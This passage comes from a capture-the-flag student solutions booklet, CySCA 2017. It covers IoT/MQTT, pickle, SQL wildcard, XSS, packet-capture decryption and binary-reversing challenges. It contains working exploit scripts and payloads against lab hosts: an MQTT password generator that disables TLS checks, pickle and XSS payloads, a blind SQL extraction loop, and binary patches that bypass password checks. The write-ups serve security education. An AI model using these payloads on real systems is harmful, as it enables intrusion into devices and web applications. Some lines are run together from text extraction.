simple swap out of the temperature number with a ridiculously large one. However, I then ran into the problem
with the signature being invalid.
Finding the correct signature took a while, and involved ripping the code from the ESP8266 device again.
Using 'strings', I was able to see the code, and discover how the signature was created. By replicating the
code segment from the dump, I was able to replace the temperature variables via an external python script,
joined, and hashed to get the final signature.
The new data (JSON style) and matching signature were then replaced via mitproxy (man in the middle
attack), and the flag was retrieved.
Challenge 3: In Certs we Trust Challenge Description
Certificates can be so difficult to handle properly.
Writeups
UNSW1 Subbed to everything on MQTT2. Send a message with topic FLAG33. Received FLAG3 message back with
a flag
MONU1 First we setup the IOT devices in the way described on the website (using testuser1/password). Then we
used the same command as the first challenge to dump the Python file to see how the challenge worked
(python esptool.py -p /dev/ttyUSB0 read_flash 0 1048576 doorlock.img).
Noticed it used MQTT to do all communication, and it was also subscribing to the FLAG3 and FLAG5 topics
but only printing FLAG5 topic messages.
Rather than trying to mess around with MiTMing the IOT device, we just made a compatible client in Python
which would print out every message and ran it on our Kali machine. The script was:
import paho.mqtt.client as mqttimport sslimport hashlibimport
binasciimac = "A0:20:A6:1A:2B:38"
username = "TESTUSER1"
def genpw(mac, username): mac = mac.upper()
username = username.upper()
# N.O.T..A..F.L.A.G
k = "faeQuaijeiFee8peet3Jeush9shieMiechee0aen"
d = bytearray(k + mac + username + k)
pw_hash = hashlib.sha1(d)
pw = binascii.hexlify(pw_hash.digest()).decode("utf-8").upper()
return pwdef
on_connect(client, userdata, flags, rc):
print("Connected with result code " + str(rc))
client.subscribe("FLAG3")
client.subscribe("FLAG5")
client.subscribe("%s/%s/group" % (username, mac))
client.subscribe("%s/%s/error" % (username, mac))
def on_message(client, userdata, msg):
print(msg.topic + " " + str(msg.payload))
client = mqtt.Client(client_id=mac)
client.tls_insecure_set(True)
client.tls_set('/etc/ssl/certs/ca-certificates.crt', cert_reqs=ssl.CERT_NONE)
client.username_pw_set(mac, password=genpw(mac, username))
client.on_connect = on_connectclient.on_message = on_messageclient.connect("doorctrl.cysca", 8883, 60)
client.loop_forever()
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 29 | P a g e
The script prints out: Connected with result code 0FLAG3 TESTUSER1/A0:20:A6:1A:2B:38/group hello
And that's the flag!
MUR1 I patched the firmware so I could edit the challenge main.py so it would dump when flag FLAG3 is
broadcasted by the MQTT server.
UOQ1 Reading the flash on the ESP8266 device, we were able to determine the authentication scheme and connect
to the MQTT server using a 'mqqt-spy' tool. This proved to be unnecessary, as detailed below.
Modifying the software running on the ESP (turning on message debug), we were able to see the flag printed
to the console.
Extracting the TLS certificate using Wireshark, we noted the server is using a self-signed certificate, which
does not appear to be validated by the client IoT devices. We attempted to create our own spoofed certificate
and perform a MiTM attack, but did not get our ARP spoofing to work before we found the flag in another way
(described above).
UOQ4 This task was a follow up from the previous IOT tasks. The previous ones were based on reading, this one
actually included modifying and replacing the firmware binary. Firstly, following the instructions in the PDF, I
dumped the firmware into a .bin file.
Secondly, I needed to modify the binary. Because I could only access the non-text file in vim, I used the
:%!xxd option to modify the hex characters. I only changed one character - which was from " == 'FLAG5'"
to "!= 'FLAG5'". This meant that I didn't need to find the correct topic variable, and that it would always print
flag with the incorrect topic variable.
Finally, I erased the firmware from the IOT (following the pdf) and then performed write_flash. Resetting
the device immediately displayed the flag.
Challenge 4: Sanitize All Inputs Challenge Description
Even Hardware input needs sanitising.
Writeups
UNSW1 SQL injection from the group name via MQTT
Challenge 5: Not the Lock you’re looking for Challenge Description
Open the door belonging to the Director of Data Engineering.
Writeups
UNSW1 1. Use username/mac/group (SARAH.BURNS, 60:11:34:11:7D:44, FrontDoor) tuple found from previous challenge
2. Generate password from the decrypted firmware genpw() function
3. Manually open a MQTT connection with the details
4. Manually send unlock control message
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 30 | P a g e
Miscellaneous
Challenge 1: Python – In a Pickle Challenge Description
Python's standard library includes a serialization format called pickle. In this challenge, your task is to provide a
pickled payload that will end in a particular result (and thus earn you a flag).
The pickle protocol normally uses a variety of opcodes to perform standard Python operations, like importing
modules and calling functions.
Some of these operations can be dangerous, so this program filters input before unpickling it. In particular, it
limits you to four relatively simple opcodes.
To solve this challenge, you will need to read its source code. The following standard library modules might also
help:
- pickle (to understand your available opcodes)
- pickletools (if you want to dig deeper into working with the pickle protocol)
- struct (to create pickle.BININT2 values)
Writeups
UNE1 Used the source code to find the allowed opcodes and discovered the binint2 takes 2 bytes. For each
character in the desired string I used a binint2 instruction followed by a null character and then the desired
character. I put these in a list using the list opcode followed by the required stopcode. I printed out this string
piping the output to the program running on the server.
UNSW2 #!/usr/bin/env python
import pickle
import pickletools
from pwn import *
import server
DESIRED_VALUE = 'Green and delicious!'
my_pickle = "(" # MARK
for char in DESIRED_VALUE:
my_pickle += "M" + struct.pack("<h",ord(char))
my_pickle += "l."
print '[+] pickle is {0} long'.format(len(my_pickle))
print my_pickle
# server.main(my_pickle)
conn = remote("10.13.37.123",9003)
conn.sendline(my_pickle)
print conn.recv()
conn.interactive()
MQU1 I used the python script below
import socket
import ctypes
null_char = ctypes.c_char(0).value
hex_values = ['M'.encode() + b.encode() + null_char for b in 'Green and delicious!']
pic = '('.encode()
for h in hex_values:
pic += h
pic += 'l.'.encode()
ip = '10.13.37.123'
port = 9003
server = (ip, port)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(server)
content = sock.recv(1000)
print(content)
sock.send(pic)
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 31 | P a g e
content = sock.recv(1000)
print(content)
MONU1 First, we started by reading the source code for the challenge. The get_chars function tells us that our
serialised object needs to be a list of integers, which when you call chr on each one, gives the desired string
"Green and delicious!" We only have a few opcodes, so looked at the source code of pickle.py in Python
so see what exactly each opcode does.
Everything seems to start with MARK. Then we can push all our integer values onto the stack using BININT2,
then use LIST to create a list of everything on the stack, then use STOP to finish.
It was then just a matter of writing a script to encode the binary integers properly as 16-bit little endian
integers, then send the data to the server. This is the script:
import pickle
import struct
from pwn import *
desired_string = "Green and delicious!"
pickled = "("
for c in desired_string:
pickled += "M"
pickled += struct.pack("<h", ord(c))
pickled += "l."
print pickled.encode('hex')
r = remote('10.13.37.123',9003)
r.sendline(pickled)
print r.recvall()
UOM1 b'(MG\x00Mr\x00Me\x00Me\x00Mn\x00M\x00Ma\x00Mn\x00Md\x00M\x00Md\x00Me\x00Ml\x00Mi\x00Mc\x00Mi\x00Mo\x00Mu\x00Ms\x00M
!\x00l.'
Pickle dump of the sequence
Challenge 2: Python - Abstract Syntax Treat Challenge Description
Your task is to understand a text dump of a Python abstract syntax tree (AST).
The program that runs this AST will give you its flag if you provide the right input.
The dumped AST is essentially pseudocode. You can reconstruct the original program piece-by-piece, at which
point you can figure out what it wants.
For details on ASTs in Python, please see https://docs.python.org/2/library/ast.html
Writeups
ANU4 The tree.py, specifically the tree variable string, is first manually formatted so that the AST is more readable
Then working from the AST and the AST documents available here :
https://greentreesnakes.readthedocs.io/en/latest/index.html
A somewhat readable but incomplete piece of code is produced:
def main(value):
convert=lambda nums:[''.join(chr(x)) for x in nums]
lib="hashlib"
attr="md5"
method="d5digest"
if __import__.hashlib.md5(value).digest()[::-1] \
!= :
(the result of calls involving "convert" are calculated manually)
Then the string "CN\x9f\x1e\xa0\x0e{\x8a\x86\xc4\x8f\xf7\xe6\xf5d\x1d" used in the inequality
check as visible in the AST is converted to hex: 434e9f1ea00e7b8a86c48ff7e6f5641d
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 32 | P a g e
Then since a reverse string operation is done before comparison(as seen in the incomplete code snippet), the
hex is reversed and becomes: 1d64f5e6f78fc4868a7b0ea01e9f4e43
Google searching the hex string "1d64f5e6f78fc4868a7b0ea01e9f4e43" yields schaakmat
Entering "schaakmat" into the program yields the flag
MONU1 Downloaded the provided Python file and saw it's just a Python abstract syntax tree. Couldn't really be
bothered manually figuring out what it did, so instead googled for a Python AST decompiler. Found
https://pypi.python.org/pypi/ast-decompiler/0.3. Installed that and ran:
import ast
from ast_decompiler import decompile
code_obj = compile(tree, '<ast>', 'eval')
namespace = ast.__dict__.copy()
compiled_ast = eval(code_obj, namespace)
print decompile(compiled_ast)
This printed out:
def main(value):
convert = lambda *nums: ''.join((chr(x) for x in nums))
lib = convert(104, 97, 115, 104, 108, 105, 98)
attr = convert(109, 100, 53)
method = convert(100, 105, 103, 101, 115, 116)
if getattr(getattr(__import__(lib), attr)(value), method)()[::-1] !=
'CN\x9f\x1e\xa0\x0e{\x8a\x86\xc4\x8f\xf7\xe6\xf5d\x1d':
raise ValueError('Wrong value!')
Modified this to print out lib, attr, and method which gave: hashlib md5 digest. So the code calls
hashlib.md5(value).digest() and then reverses the output, and compares to 'CN\x9f\x1e\xa0\x0e{\x8a\x86\xc4\x8f\xf7\xe6\xf5d\x1d'.
So, I reversed that string, which is 1d64f5e6f78fc4868a7b0ea01e9f4e43 in hex. Googled this string which gave the
page http://www.md5center.com/md5-word-list.php?start=20731 which has already cracked the hash.
The required value is therefore schaakmat. Submitted that with netcat and got the flag.
UOS4 I reverse engineered the AST by referring to
https://greentreesnakes.readthedocs.io/en/latest/nodes.html for weird ones and compiling my
own code into AST and dumping it for things I was unsure about; like the slice.
I worked out that it was trying to compare a hardcoded value to hashlib.md5(myvalue).digest()[::-1]. I
reversed the hardcoded string, encoded it as hex, and googled the result hex digest for the answer. Instead of
processing a password file.
ANU1 found this
https://gist.GitHubusercontent.com/ndnichols/1356576/raw/f0bfb3ec78764daf2089ed75f4f9c81
3fd7e5dca/codegen.py
commented out the bits that broke
saw that it was hashlib md5 digest by looking at those numbers and converting to string
noticed that it was reversed with Slice(..., step=-1) so I reversed the hash, converted to hexdigest with
binascii.hexlify then dumped into https://hashtoolkit.com/ to get the password
UNE1 BY looking through the AST, I saw there was some numbers that I converted to ASCII to see that hashlib was
being loaded to use md5 digest which was then reversed and compared to a value given in the code. I
converted that into hexadecimal md5 hash and then used rainbow table to see that the word being hashed
was schaakmat.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 33 | P a g e
Challenge 3: Web - Ninja Belts Challenge Description
Last year's ninja belt search engine has been upgraded.
Can you extract the flag from its database?
Writeups
WSU2 Use the ‘%’ wildcard, which will evaluate true for all strings in the table, therefore printing all
results.
UNSW1 SQL like queries using wildcards
import requests
import string
charset = string.printable.replace("%", '').replace("'", '').replace("\"", '')
ans = 'flag{hope_you_like_wildcards_'
base = "http://10.13.37.123:9004/?belt_color="
while '}' not in ans:
for char in charset:
payload = base + ans + char + '%'
print("trying ", payload, end='')
resp = requests.get(payload)
if 'you can earn a' in resp.text:
ans += char
break
print(resp.text)
UTS3 Lots of research finally led us to the successful search result of wildcards in SQL. Attempted with `_` for true
values of belt colors (i.e. blue and black) - shortly we were successful with `%` wildcard. Weeew!
ANU2 Started with inputting various colors like red, yellow, orange and etc, to see how to search responded to them.
Colors like red, yellow and orange were not in the database. Tried to insert ' marks to see how the website
would respond and it accepts the string but shows no results found. After trying different colors, the color
black was accepted and the string said that it can be earned.
Once it was known that black is valid input other characters where append and prepend to the string to figure
different kinds of permutation of the input were accepted as well. After trying to append characters like ' ; --
* % it was discovered that the input black% was also accepted.
Therefore, one by one a character from the end of the word black was removed to see the difference is
results. When the string bl% was inputted the result showed two possible belts, blue and black. This meant
that the character % was acting as a wildcard therefore by only inputting % all the possible entries in the
database were printed out including the flag.
RMIT3 1. Entered a valid colour into the textbox to get a glimpse of the URL style
2. Experimented with different SQL injection inputs
3. Printed entire list of belt_colors collection after entering the '%' after 'belt_colors=' in the URL
Challenge 4: Web - Guestbook Challenge Description
Everybody enjoys signing online guestbooks, and webmasters love to read them.
Your task is to use an XSS bug to set the XSS JavaScript variable.
A bot monitors this value, and will give you the flag if you succeed.
As a security measure, you have a very limited set of characters available.
Specifically, you can use <, >, A-Z, =, /, and -.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 34 | P a g e
Writeups
GRIU1 First, I used a regex syntax checker to fully understand what character I'm allowed to use.
The fact that there was no actual java script code in the website and that once submitted, plain text is returns
cause some confusion.
Then I used a local html file to test with a script tag and input a number of different combinations to of the
script tag, XSS declaration and assignment to attempt to assign a value with only capital letters. This involved
a lot of trial and error.
I then tried each of those in the test page and found none working, realising it’s because the script might be
inserted into another tag I added a closing tag before the script which solved to problem and revealed the flag.
ECU1 SOOO
I had this: <SCRIPT>XSS=XSS</SCRIPT> for a while
then had <SCRIPT>XSS=A</SCRIPT> for a while
then teammate was like 'HEY YOU CAN USE / FOR QUOTE' so we had <SCRIPT>XSS=/A/</SCRIPT>
then that final comment came out about HTML comments.
COOL
--><SCRIPT>XSS=/A/</SCRIPT>
UOQ2 commented out html with --> and assigned regex to XSS
--><SCRIPT>XSS=-/-/</SCRIPT>
FLINU2 Using the string:
--><SCRIPT>XSS=/A/</SCRIPT>
the previous code can be terminated with a closing comment, and a script tag opened which will set the XSS
variable to a JavaScript regex object, which will cause the XSS variable to be defined.
UOM1 The XSS would be commented out normally as the input is something along the lines of <!-- XSS HERE --
>.
Because our input is not escaped, we can close the comment ourselves and write our own JS. JS has a few
ALL CAPS values that would allow a variable to be set, including JSON. Setting JSON == JSON returns true.
-->//<SCRIPT>XSS=JSON==JSON</script>
Challenge 5: Follow the Traffic Challenge Description
Found this pcap from a bank. I wonder if you can figure out where transfers are going.
Writeups
UNSW2 Find out what's going on. Some interesting stuff including a WiFi pineapple there. After the user (IP:
172.16.126.1) authenticates, the server replies that the key is sent on a different http port (8080), go there
and find the data.
There we're given an encrypted key with the clue "Hail ceasar" - implying it could be a ceasar cipher.
Doing a rot-n bruteforce (26 keys) the only thing that resembles anything sensible is "mydesecb".
This seems to imply something is encrypted with DES and the ECB mode. What is encrypted? Also, in the
authentication response, we're told that all transactions happen over port 5858. Go there and there is a big
chunk of data that looks like hexadecimal escaped string.
But also contains more data. Download this data, write it with python (python renders such a string very nicely
and handles hexadecimal escapes nicely along with normal ascii characters) - could this be the ciphertext?
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 35 | P a g e
Let's decrypt using the key "mydesecb" using DES with ECB on the raw binary output we wrote with python.
Success: sendfrom:27890368::sendto:9002874902:sendamount:9001
UNE1 Used Wireshark to see that only 176.16.126.1 had POST'ed and assumed bank would only authenticated
with POST. Saw reply that said use alt-http for key and port 5858 for transactions.
Looked at port 8080 to find 'zlqrfrpo' and an indication that it was using a Caesar cipher (Hail Caesar!).
Tested and found ROT13 gave mydesecb which looked like a good key.
Then looked at port 5858 and found some escaped hexadecimal data passed this and key into a DES
decryptor to get result.
MONU1 Opened the PCAP and looked at HTTP first (filter: http). Found a GET to /auth. Looks like it returns a bank
type login thing, so probably on the right track. Shortly after that GET there's a POST to /auth.
With the data "Username=user54429&Password=E56rc4hMlv3xp&imagetwo=iamgetwo".
This sends back "Authenticated. Sending key on alt-http. Listening for transactions on port 5858". I looked
up alt-http on Google, and found that it's port 8080. So, I filtered all the traffic to that port using "TCP.dstport
== 8080 || TCP.srcport == 8080".
I followed the TCP stream and got the string "Hail, Caesar. Here is your encrypted decryption
key: zlqrfrpo". This probably indicates that we need to transform zlqrfrpo with some kind of Caesar cipher.
Going back to the string returned from /auth, we also need to look at port 5858 (filter: "TCP.dstport == 5858
|| TCP.srcport == 5858"). Following this TCP stream gives "\xc09X\x95p\xa8\x89B\xc9\x03+\xa5/\xb0\x1dz\xc5\x87K\x0b\x1aP\x86\xc19\xc23\xab\xb4'\x14\xa7\xc6h\xc9\x0f\xc7
\xfb\x019\xf7i\xd0v\x1d\x02\xa3\xa5`\xb8\xc3N\x87b\xc9\x07"
- looks like it's encrypted.
So, we probably have to apply some kind of decryption using the key above to this encrypted text. I know that
DES uses 8-byte keys, so wrote a python script to just try all the Caesar cipher rotations, and try to decrypt
the data.
from Crypto.Cipher import DES
transaction_data =
"\xc09X\x95p\xa8\x89B\xc9\x03+\xa5/\xb0\x1dz\xc5\x87K\x0b\x1aP\x86\xc19\xc23\xab\xb4'\x14\xa7\xc6h\xc9\x0f\xc7\xfb\x
019\xf7i\xd0v\x1d\x02\xa3\xa5`\xb8\xc3N\x87b\xc9\x07"
print(transaction_data.encode('hex'))
encrypted_decryption = "zlqrfrpo" # probably with caesar
print(encrypted_decryption)
# Un-caesar cipher the encrypted_decryption key then xor the transaction_data with that
# from http://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/
# This needs Python3 but I only have pycrypto on Python 2 so just copied the results below
#def rot_alpha(n):
# from string import ascii_lowercase as lc, ascii_uppercase as uc
# lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n])
# return lambda s: s.translate(lookup)
rots = ["zlqrfrpo","amrsgsqp","bnsthtrq","cotuiusr","dpuvjvts","eqvwkwut","frwxlxvu","gsxymywv","htyznzxw",
"iuzaoayx","jvabpbzy","kwbcqcaz","lxcdrdba","mydesecb","nzeftfdc","oafguged","pbghvhfe","qchiwigf",
"rdijxjhg","sejkykih","tfklzlji","uglmamkj","vhmnbnlk","winocoml","xjopdpnm","ykpqeqon"]
for i in range(26):
key = rots[i]
print(key)
cipher = DES.new(key, DES.MODE_ECB)
decryptedString = cipher.decrypt(transaction_data)
print(decryptedString)
Running this gives the key as "mydesecb" (oh, probably should have looked at that first...), and the
associated data "sendfrom:27890368::sendto:9002874902:sendamount:9001::::". So the flag is "sendfrom:27890368::sendto:9002874902:sendamount:9001::::".
UNSW1 - Export HTTP objects from Wireshark
- Find clues about ports
- Find key "zlqrfrpo" on port 8080 -> "mydesecb" rot13'd
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 36 | P a g e
- Find ciphertext on port 5858
- "mydesecb" -> DES ECB
- Decrypt to "sendfrom:27890368::sendto:9002874902:sendamount:9001::::"
UOS1 - identified SecureBank web interface
- noticed that auth dialogue tells the user to receive an encryption key on port 8080, and submit transactions
on 5858.
- the key (mydesecb) transmitted was an 8-byte DES key but encoded in ROT-13
- using the des k
Challenge 6: Protoverse Challenge Description
Somehow Caesar got his hands on an Enigma machine.
He has used standard methods to put the cylinder settings in ciphertext-a file and the switchboard settings
have been encoded in to ciphertext-b.
Ultimately, you will need to break the file ciphertext.
Writeups
MONU1 Looked at the binary, found that it reads a Login and a Password. The function 8048E7B takes in the Login
and returns the length of the string, up to a maximum of 90, which is obtained from the string length of "ASDFADGGRSDFV#VFQFQDG$URUKGHSDFGET#$^USDFGWERYASDGDUYTJSDFADFASDFARUJSDFGASDFASHYSDFGAVRKWFHQEFASDFASDFSd"
minus 15.
Then, the length of the login is later on used to grab a substring of that big string from before. So, if the length
of the login string is 1, then 14 characters will be read starting from index 1, i.e. "SDFADGGRSDFV#V". This string
has a null byte on the end and is then compared to the Password that you provide. If we just provided
"SDFADGGRSDFV#V" as the password, then the string comparison would fail since there is a newline character on
the end.
So, we have to add a null byte onto the end of "SDFADGGRSDFV#V", then send it as the password.
This can be done with this script:
from pwn import *
context.log_level = 'debug'
sh = remote('10.13.37.123', 9007)
data = sh.recvuntil('Login:')
sh.write("\n")
data = sh.recvuntil('Password:')
sh.write("SDFADGGRSDFV#V\x00\n")
print sh.readline()
This gives the output of:
'Welcome to the House of the Rising Sun\n'
' `o\n'
" `o o'\n"
" `o o'\n"
" `o o'\n"
" `o ..ooo, o'\n"
" .d''~ ~`b. '\n"
" d' ``b\n"
" d' `b\n"
" d' `b\n"
' .o.o.o.o.o.o.o. ;0 flag{g00d_t!m3$} `b .o.o.o.o.o.o.o.\n'
'Welcome to the House of the Rising Sun\n'
ANU1 I ran strings on the binary which revealed a large "welcome to the house of the rising sun". I opened the
binary in hopper and went to the location in code that made reference to this string.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 37 | P a g e
I went through the code above this in the CFG, and found where the "Login:" and "Password:" fields were
read. Just before the branch to printing the "house of the rising sun", there was a call to strncmp.
I used gdb to find exactly what was being compared. I found that the password I had typed in was being
compared with some text that I had spotted previously in strings. It compared just 16? characters from this
string with my password.
I noted that which part of the string compared is dependent on the length of the username entered and
nothing else. I noted down what was compared for the username "user". It was the string
"DGGRSDFV#VFQFQ".
I entered this combination on my local system and was able to access my flag. I used the same username
and password to get the flag off the exploit server.
UNSW1 1. Use gdb to break on strncmp on a given login
2. Work out password from strncmp arguments
3. Use password
CU1 >step 1: smash protoverse into your friendly neighbourhood strace
>step 2: nc into 127.0.0.1 <port>
>step 3: observe the pid of the child spawned when you connected
>step 4: attach ltrace to the child's pid (ltrace -p <CPID>).
>step 5: type some random login in, don't care what
>step 6: observe the strncmp
>step 7: use the password it was comparing to on the actual remote instance (note: use ctrl+d to submit the
password to prevent a \n being tacked onto the password string)
>step 8: ????
>step 9: profit
UNSW2 snprintf((char *)&someBlock, 0xFu, "%s", &weirdStr[loginStrLen]);// copy from the weird string into someblock
if ( !strncmp((const char *)&inputStr, (const char *)&someBlock, 0xFu) )// first 15 chars of password have to
match someblock
so the premise of the chall is that there is some weird string in the data section
the first read is the offset of the weird string which will be used to strcmp a user input
however the copy of the string to compare with the user input is only 14 bytes, when 15 are compared so we
just null terminate out user input early to ensure this is the case
root@3792fac89dc9 ~/shared/cysca > python pro.py [+] Opening connection to 10.13.37.123 on port 9007: Done
Login:
Password:
[*] Switching to interactive mode
Welcome to the House of the Rising Sun
`o
`o o'
`o o'
`o o'
`o ..ooo, o'
.d''~ ~`b. '
d' ``b
d' `b
d' `b
.o.o.o.o.o.o.o. ;0 flag{g00d_t!m3$} `b .o.o.o.o.o.o.o.
[*] Got EOF while reading in interactive
from pwn import *
r = remote('10.13.37.123', 9007)
print r.recvuntil('Login:')
# set the length of the substring to use (4 incl. newline)
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 38 | P a g e
r.sendline('aaa')
print r.recvuntil('Password:')
# send the substring and null terminate since the binary actually only reads 14 and not 15
chars...
r.sendline('ADGGRSDFV#VFQF\x00\')
# read flag
r.interactive()
Challenge 7: Strings - Reversing password Challenge Description
I want to talk to this server. Need to learn its language first.
Writeups
ECU3 Using ltrace to decompile with a random string with partially decompile the program
ltrace -C ./revpassword.bin "ass" __libc_start_main(0x804861f, 2, 0xffcc9004, 0x8048690 <unfinished ...>
strncmp("ass", "You found me!", 13) = 1
puts("Try again"Try again
) = 10
This shows the password to be "You found me!"
therefore
ltrace -C ./revpassword.bin "You found me!"
reveals the flag.
UOQ1 Using radare2, we analysed the binary.
Using aa, then "pdf @main" we decompiled and viewed main().
There is a string comparison in main(), comparing the passed parameter with the string "You found me!".
When this string is provided to the binary, like
./revpassword.bin "You found me!", the flag is provided.
This result is consistent with one of the strings found using the "strings" command.
MONU2 * run the binary, without any argument: ./revpassword.bin, we can see that it is expecting a password
* run the binary with an argument: ./revpassword.bin whatever, the program returns Try again, and exit
* we assume that it is checking user input against some sort of hardcoded string, or hardcoded string that
goes through some magic in the code.
* open the binary with gdb
* we can make guesses that main+76 is doing some string comparison, probably our user input and the
binary's password.
* next it's doing an jne, which is jump if not equal to, which is the wrong password scenario we were getting.
* set the breakpoint before jne: b *main+81
* set the jne instruction to nop: set *(char *)0x08048672 = 0x90 (address might be different)
* inspect the instructions again: disas main
* also set the pop instruction right follow to nop, avoid runtime error: set *(char *)0x08048673 = 0x90
* disas main, everything looks right
* do s<Enter>, the binary returns the flag
MQU3 reverse engineer the main function to find how the code is executing
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 39 | P a g e
I have commented on the disassembled code to explain what I have discovered using gdb to find strings, etc.
8048658: c7 44 24 08 0d 00 00 movl $0xd,0x8(%esp)
804865f: 00
8048660: c7 44 24 04 7c 87 04 movl $0x804877c,0x4(%esp) ; print (char *) xx = "You found me!"
8048667: 08
8048668: 89 04 24 mov %eax,(%esp) ;whatever is in eax is the password that was entered
804866b: e8 70 fd ff ff call 80483e0 <strncmp@plt> ; call strncmp, 3 parameters - str1, str2, n
8048670: 85 c0 test %eax,%eax ; if the strings are equal, then dont jump -> i.e. call decode
8048672: 75 07 jne 804867b <main+0x5c> ; if they are not equal, then FAIL
8048674: e8 74 fe ff ff call 80484ed <decode_flag> ;decode flag if test returns true -> so the strncmp was
successful!
Since 32-bit programs pass parameters on the stack, then the last 3 pieces of data passed on stack must be
what strncmp is using... first one is n = 0xd = 13 characters... the next is the "You found me!" string...
then the next is the pw that was entered as a parameter on the command line. In other words, "You found
me!" must be the password!
UOS4 Patched binary to flip the jump such that any incorrect password prints the flag.
Challenge 8: Reversing – Needle Challenge Description
What is the link that was used to compromise the user?
Writeups
UNSW1 Reverse each chunk of 0x40 bytes to piece together the original file. Gunzip to get the flag.
def reverse(nums):
v21 = 3681780448
v22 = 4042223422
v23 = 3497432790
v24 = nums[0] % v23
result = []
for j in range(3, 16):
v24 = (v22 + v24 * v21) % v23
result.append(nums[j] ^ v24)
return result